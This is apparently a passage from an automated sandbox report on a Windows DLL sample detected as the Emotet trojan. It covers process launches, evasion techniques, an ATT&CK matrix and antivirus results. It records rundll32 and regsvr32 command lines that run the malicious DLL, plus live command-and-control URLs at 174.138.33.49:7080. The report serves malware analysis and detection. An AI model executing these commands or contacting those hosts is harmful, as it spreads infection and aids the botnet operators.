                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AjkRVrFNnyQmqXQdrComyaiwV
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AkMhEGvNFpnSswjeCw
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,BMIWqtk
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XSYhmb\vuKI.dll"
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AfzDfnhsGeYDyd\OsmuofIfhwEGDVL.dll"
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p -s BITS
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1Jump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\PYCkUgesWB.dllJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AjkRVrFNnyQmqXQdrComyaiwVJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AkMhEGvNFpnSswjeCwJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,BMIWqtkJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AfzDfnhsGeYDyd\OsmuofIfhwEGDVL.dll"Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XSYhmb\vuKI.dll"Jump to behavior
                      Source: C:\Windows\System32\loaddll64.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D105A4D4-344C-48EB-9866-EE378D90658B}\InProcServer32Jump to behavior
                      Source: classification engineClassification label: mal88.troj.evad.winDLL@24/4@0/44
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10010890 CoCreateInstance,SysAllocString,SysFreeString,0_2_10010890
                      Source: C:\Windows\System32\regsvr32.exeCode function: CreateServiceW,2_2_000000018001FC70
                      Source: C:\Windows\System32\loaddll64.exeFile read: C:\Users\desktop.iniJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_000000018001A804 Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,FindCloseChangeNotification,0_2_000000018001A804
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1
                      Source: C:\Windows\System32\regsvr32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: PYCkUgesWB.dllStatic PE information: More than 187 > 100 exports found
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_0000000180008C72 push ebp; ret 0_2_0000000180008C7D
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180008C72 push ebp; ret 2_2_0000000180008C7D
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10004E30 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_10004E30
                      Source: PYCkUgesWB.dllStatic PE information: real checksum: 0x499a1 should be: 0x524a5
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\PYCkUgesWB.dll
                      Source: C:\Windows\System32\regsvr32.exePE file moved: C:\Windows\System32\XSYhmb\vuKI.dllJump to behavior

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Hides that the sample has been downloaded from the Internet (zone.identifier)
                      Source: C:\Windows\System32\loaddll64.exeFile opened: C:\Windows\system32\AfzDfnhsGeYDyd\OsmuofIfhwEGDVL.dll:Zone.Identifier read attributes | deleteJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeFile opened: C:\Windows\system32\XSYhmb\vuKI.dll:Zone.Identifier read attributes | deleteJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\svchost.exe TID: 6920Thread sleep time: -30000s >= -30000sJump to behavior
                      Source: C:\Windows\System32\svchost.exe TID: 2704Thread sleep time: -150000s >= -30000sJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_0-7265
                      Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
                      Source: C:\Windows\System32\loaddll64.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001C9F0 FindFirstFileW,FindNextFileW,11_2_000000018001C9F0
                      Source: C:\Windows\System32\loaddll64.exeAPI call chain: ExitProcess graph end nodegraph_0-7266
                      Source: C:\Windows\System32\loaddll64.exeAPI call chain: ExitProcess graph end nodegraph_0-7175
                      Source: C:\Windows\System32\regsvr32.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                      Source: regsvr32.exe, 0000000B.00000002.885983137.00000000008FD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803196731.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803132902.00000000008F6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWY
                      Source: svchost.exe, 00000012.00000002.887267999.000001897A662000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @Hyper-V RAW
                      Source: svchost.exe, 0000000A.00000002.885676626.000001DB4EC02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
                      Source: regsvr32.exe, 0000000B.00000002.885983137.00000000008FD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803196731.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803132902.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.886011420.0000018974C29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.887207397.000001897A64A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.804530802.0000017055AEA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.804366776.0000017055AAA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW`
                      Source: regsvr32.exe, 00000002.00000003.469429616.0000000001420000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}6
                      Source: svchost.exe, 0000000A.00000002.885950299.000001DB4EC40000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10001050 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_10001050
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10004E30 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_10004E30
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10001500 GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetCommandLineA,FlsSetValue,GetCurrentThreadId,0_2_10001500
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10001050 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_10001050
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10006C70 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_10006C70
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10006580 SetUnhandledExceptionFilter,0_2_10006580
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_100065B0 SetUnhandledExceptionFilter,0_2_100065B0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10004660 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_10004660
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10004700 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_10004700

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\System32\regsvr32.exeNetwork Connect: 174.138.33.49 7080Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeCode function: GetLocaleInfoA,0_2_10007E00
                      Source: C:\Windows\System32\regsvr32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_100042A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_100042A0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 0_2_10001500 GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetCommandLineA,FlsSetValue,GetCurrentThreadId,0_2_10001500

                      Stealing of Sensitive Information

                      barindex
                      Yara detected Emotet
                      Source: Yara matchFile source: 3.2.rundll32.exe.20500010000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.1b23e930000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.loaddll64.exe.1e200010000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.rundll32.exe.21dbea20000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 11.2.regsvr32.exe.2310000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.loaddll64.exe.1e200010000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 11.2.regsvr32.exe.2310000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.rundll32.exe.21dbea20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.1580000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.2.rundll32.exe.1ec47bf0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.2.rundll32.exe.1ec47bf0000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.1b23e930000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.rundll32.exe.20500010000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000000.00000002.492629360.000001E200010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.479464350.0000000001580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.477702534.000001EC47BF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.477040143.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.466000340.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000B.00000002.886485279.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.466138189.000001B23E930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.485258322.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.466579273.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.479882020.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.487464916.0000021DBEA20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.466935474.0000020500010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid Accounts2
                      Native API                      		1
                      Windows Service                      		1
                      Windows Service                      		2
                      Masquerading                      		OS Credential Dumping1
                      System Time Discovery                      		Remote Services1
                      Archive Collected Data                      		Exfiltration Over Other Network Medium1
                      Encrypted Channel                      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default AccountsScheduled Task/Job1
                      DLL Side-Loading                      		111
                      Process Injection                      		2
                      Virtualization/Sandbox Evasion                      		LSASS Memory31
                      Security Software Discovery                      		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
                      Non-Standard Port                      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsAt (Linux)Logon Script (Windows)1
                      DLL Side-Loading                      		111
                      Process Injection                      		Security Account Manager2
                      Virtualization/Sandbox Evasion                      		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
                      Application Layer Protocol                      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
                      Hidden Files and Directories                      		NTDS2
                      Process Discovery                      		Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script2
                      Obfuscated Files or Information                      		LSA Secrets1
                      Remote System Discovery                      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common1
                      Regsvr32                      		Cached Domain Credentials2
                      File and Directory Discovery                      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items1
                      Rundll32                      		DCSync35
                      System Information Discovery                      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
                      DLL Side-Loading                      		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
                      File Deletion                      		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 666431 Sample: PYCkUgesWB.com_15e2f984de98... Startdate: 16/07/2022 Architecture: WINDOWS Score: 88 33 103.224.241.74 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN India 2->33 35 202.29.239.162 UNINET-AS-APUNINET-TH Thailand 2->35 37 40 other IPs or domains 2->37 45 Snort IDS alert for network traffic 2->45 47 Antivirus detection for URL or domain 2->47 49 Multi AV Scanner detection for submitted file 2->49 51 2 other signatures 2->51 8 loaddll64.exe 3 2->8         started        11 svchost.exe 9 1 2->11         started        14 svchost.exe 2->14         started        16 5 other processes 2->16 signatures3 process4 dnsIp5 53 Hides that the sample has been downloaded from the Internet (zone.identifier) 8->53 18 regsvr32.exe 5 8->18         started        21 cmd.exe 1 8->21         started        23 rundll32.exe 8->23         started        25 3 other processes 8->25 39 127.0.0.1 unknown unknown 11->39 signatures6 process7 signatures8 43 Hides that the sample has been downloaded from the Internet (zone.identifier) 18->43 27 regsvr32.exe 18->27         started        31 rundll32.exe 21->31         started        process9 dnsIp10 41 174.138.33.49, 49786, 7080 DIGITALOCEAN-ASNUS United States 27->41 55 System process connects to network (likely due to code injection or exploit) 27->55 signatures11

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      PYCkUgesWB.dll67%VirustotalBrowse
                      PYCkUgesWB.dll43%MetadefenderBrowse
                      PYCkUgesWB.dll81%ReversingLabsWin64.Trojan.Emotet

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      2.2.regsvr32.exe.1580000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      4.2.rundll32.exe.1b23e930000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      11.2.regsvr32.exe.2310000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      0.2.loaddll64.exe.1e200010000.1.unpack100%AviraHEUR/AGEN.1215461Download File
                      5.2.rundll32.exe.1ec47bf0000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      3.2.rundll32.exe.20500010000.0.unpack100%AviraHEUR/AGEN.1215461Download File
                      6.2.rundll32.exe.21dbea20000.0.unpack100%AviraHEUR/AGEN.1215461Download File

                      Domains

                      ⊘No Antivirus matches

                      URLs

                      SourceDetectionScannerLabelLink
                      https://www.disneyplus.com/legal/your-california-privacy-rights0%URL Reputationsafe
                      https://174.138.33.49:7080/a100%Avira URL Cloudmalware
                      https://www.disneyplus.com/legal/privacy-policy0%URL Reputationsafe
                      https://174.138.33.49:7080/s64100%Avira URL Cloudmalware
                      https://174.138.33.49:7080/0%URL Reputationsafe
                      https://www.pango.co/privacy0%URL Reputationsafe
                      https://disneyplus.com/legal.0%URL Reputationsafe
                      http://crl.ver)0%Avira URL Cloudsafe
                      https://174.138.33.49:7080/Num100%Avira URL Cloudmalware
                      https://www.tiktok.com/legal/report/feedback0%URL Reputationsafe
                      https://174.138.33.49:7080/u100%Avira URL Cloudmalware
                      http://help.disneyplus.com.0%URL Reputationsafe
                      https://174.138.33.49/0%URL Reputationsafe

                      Domains and IPs

                      Contacted Domains

                      ⊘No contacted domains info

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://schemas.xmlsoap.org/ws/2004/08/addressvchost.exe, 00000012.00000002.886351225.0000018974CAB000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://www.disneyplus.com/legal/your-california-privacy-rightssvchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://174.138.33.49:7080/aregsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        https://www.disneyplus.com/legal/privacy-policysvchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://174.138.33.49:7080/s64regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        https://174.138.33.49:7080/regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://www.hotspotshield.com/terms/svchost.exe, 0000001B.00000003.772609747.0000017056585000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.772596708.0000017056582000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771116472.00000170565B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771585831.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771543494.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771348384.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771440016.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771293341.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771489113.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771257487.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771315826.0000017056A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771513285.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771024338.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771224165.00000170565BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771633828.0000017056580000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://www.pango.co/privacysvchost.exe, 0000001B.00000003.772609747.0000017056585000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.772596708.0000017056582000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771116472.00000170565B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771585831.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771543494.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771348384.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771440016.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771293341.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771489113.000001705657B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771257487.0000017056A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771315826.0000017056A02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771513285.000001705657C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771024338.000001705659E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.771224165.00000170565BA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 